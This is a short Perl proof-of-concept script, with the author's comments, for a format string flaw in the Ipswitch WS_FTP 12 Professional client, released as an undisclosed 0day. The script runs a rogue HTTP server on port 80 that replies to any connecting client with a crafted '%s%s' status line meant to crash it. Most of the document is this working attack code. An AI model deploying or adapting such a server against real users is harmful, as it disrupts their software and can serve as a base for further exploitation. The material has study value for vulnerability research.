#!/usr/bin/perl

nocoolnameforawsftppoc.pl

AKA

Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC

Jeremy Brown [[email protected]//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009

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I really hate releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a

year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was

found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem

is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making

exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to

find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!

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nocoolnameforawsftppoc.pl

use IO::Socket;

$port = 80;
$payload = "HTTP/1.1 %s%s\r\n\r\n";

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$cli->recv($buf, 512);
$cli->send($payload);

close($cli);
close($serv);